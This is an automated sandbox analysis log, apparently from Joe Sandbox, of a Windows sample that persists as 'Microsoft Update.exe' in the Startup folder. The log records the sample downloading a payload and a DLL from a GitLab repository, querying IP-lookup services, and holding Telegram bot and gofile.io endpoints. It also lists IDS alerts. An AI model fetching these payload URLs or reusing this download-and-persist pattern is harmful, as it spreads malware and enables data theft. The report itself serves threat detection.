Source:	Binary string: /_/artifacts/obj/System.Management/Release/net8.0-windows/System.Management.pdb source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B7700 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF6A72B7700
Source: C:\Users\user\Desktop\VRO.exe	Code function: 0_2_00007FF6A72B757C FindFirstFileExW,	0_2_00007FF6A72B757C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B688757C FindFirstFileExW,	14_2_00007FF7B688757C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe	Code function: 14_2_00007FF7B6887700 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_00007FF7B6887700

Source: global traffic	HTTP traffic detected: GET /hko247.black/libs/-/raw/da36e8916e710628358afbbd35fc9d73b2fd41c2/e_sqlite3.dll?inline=false HTTP/1.1Host: gitlab.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET /json/8.46.123.189 HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/8.46.123.189 HTTP/1.1Host: ip-api.com

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 172.65.251.78:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50020 -> 208.95.112.1:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50023 -> 208.95.112.1:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50024 -> 172.65.251.78:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50017 -> 172.65.251.78:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50018 -> 172.67.74.152:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50022 -> 172.67.74.152:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50019 -> 172.67.74.152:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50021 -> 172.67.74.152:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /hko247.black/truong/-/raw/main/svchost.hko?inline=false%06%06%06%06%06%06 HTTP/1.1Connection: Keep-AliveUser-Agent: CustomDownloader/1.0Host: gitlab.com
Source: global traffic	HTTP traffic detected: GET /hko247.black/libs/-/raw/da36e8916e710628358afbbd35fc9d73b2fd41c2/e_sqlite3.dll?inline=false HTTP/1.1Host: gitlab.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET /hko247.black/truong/-/raw/main/svchost.hko?inline=false%06%06%06%06%06%06 HTTP/1.1Connection: Keep-AliveUser-Agent: CustomDownloader/1.0Host: gitlab.com
Source: global traffic	HTTP traffic detected: GET /json/8.46.123.189 HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/8.46.123.189 HTTP/1.1Host: ip-api.com

Source: global traffic	DNS traffic detected: DNS query: gitlab.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ip-api.com

Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD95B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org:443/
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
Source: VRO.exe, 00000000.00000003.2889529783.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890827152.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2934352732.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2933600145.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2890389550.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD851000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://gitlab.com:443/
Source: Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: http://ip-api.com/json/
Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD9D9000.00000004.00001000.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2935402785.000001D4CD9C5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/8.46.123.189
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/y
Source: VRO.exe, 00000000.00000002.2935402785.000001D4CD9D9000.00000004.00001000.00020000.00000000.sdmp, VRO.exe, 00000000.00000002.2935402785.000001D4CD9C5000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com:80/
Source: Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/Y
Source: Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name(DefaultRoleClaimTypexhttp://schemas.micro
Source: Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/i
Source: msedge.exe, 0000000C.00000002.2864046044.00004D4400058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: svchost.dll.0.dr	String found in binary or memory: https://aka.ms/binaryformatter
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/com
Source: Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/serializationformat-binary-obsolete
Source: Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: https://api.gofile.io/servers
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/serversY
Source: Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: https://api.ipify.org
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgY
Source: Microsoft Update.exe, 0000000E.00000002.3549928801.00007FFDFA6BD000.00000004.00000001.01000000.00000005.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C8202000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47E62F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/boti
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000002.00000002.2116699406.000002237C3D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/repo
Source: chrome.exe, 00000002.00000003.1873073375.00002110002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1873030695.00002110002CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2119507667.000074EC002CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2119522613.000074EC002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.3247858777.00003090002CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.3247883741.00003090002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.3497738132.000043E4002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.3497704642.000043E4002CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://customers.gitlab.com
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C6D22000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47D14F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	String found in binary or memory: https://github.com/dotnet/efcore
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/linker/issues/2715.
Source: Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47D14F000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	String found in binary or memory: https://github.com/dotnet/runtime
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dotnet/runtime/issues/50820
Source: Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47D14F000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	String found in binary or memory: https://github.com/ericsink/SQLitePCL.raw
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ericsink/SQLitePCL.rawX
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ericsink/SQLitePCL.rawd
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C6D22000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47D14F000.00000004.00000020.00020000.00000000.sdmp, svchost.dll.0.dr	String found in binary or memory: https://github.com/icsharpcode/SharpZipLib
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/1187
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/1416.
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/1731
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/1895vUsing
Source: Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/1906.
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/1981
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mono/linker/issues/2025
Source: VRO.exe, 00000000.00000003.2930262522.000001D4C7722000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3550300305.00007FFDFAA37000.00000002.00000001.01000000.00000005.sdmp, Microsoft Update.exe, 0000000E.00000002.3546157321.000001B47DB4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mono/linker/pull/2125.
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com
Source: VRO.exe, 00000000.00000003.2609014961.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.1861634341.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, VRO.exe, 00000000.00000003.2859504250.000001D4C4D04000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000002.3545297452.000001B47B19C000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3231968820.000001B47B11F000.00000004.00000020.00020000.00000000.sdmp, Microsoft Update.exe, 0000000E.00000003.3245081631.000001B47B19C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/;
Source: Microsoft Update.exe, 0000000E.00000003.3232266299.000001B47B1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/speedscope/index.html
Source: VRO.exe, 00000000.00000003.1861634341.000001D4C4CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/P
